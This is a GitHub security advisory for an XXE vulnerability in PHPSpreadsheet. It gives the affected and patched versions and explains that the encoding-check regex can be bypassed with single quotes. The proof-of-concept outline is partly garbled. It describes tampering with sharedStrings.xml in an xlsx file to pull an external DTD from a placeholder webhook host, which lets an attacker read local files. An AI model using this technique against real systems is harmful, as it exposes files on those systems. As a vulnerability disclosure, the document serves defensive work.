XXE in PHPSpreadsheet encoding is returned
High severity
GitHub Reviewed
Published
Aug 28, 2024
in
PHPOffice/PhpSpreadsheet
•
Updated Sep 13, 2024
Package
Affected versions
< 1.29.1
>= 2.2.0, < 2.2.1
>= 2.0.0, < 2.1.1
Patched versions
1.29.1
2.2.1
2.1.1
Description
Published by the National Vulnerability Database
Aug 28, 2024
Published to the GitHub Advisory Database
Aug 29, 2024
Reviewed
Aug 29, 2024
Last updated
Sep 13, 2024
Summary
Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack)
Details
Check
$pattern = '/encoding="(.*?)"/';
easy to bypass. Just use a single quote symbol'
. So payload looks like this:If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute.
PoC
xl/sharedStrings.xml
file in edit mode.<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
tosharedStrings.xml
file and rename zip back to xlsx.http://%webhook%/file.dtd
Impact
Read local files
References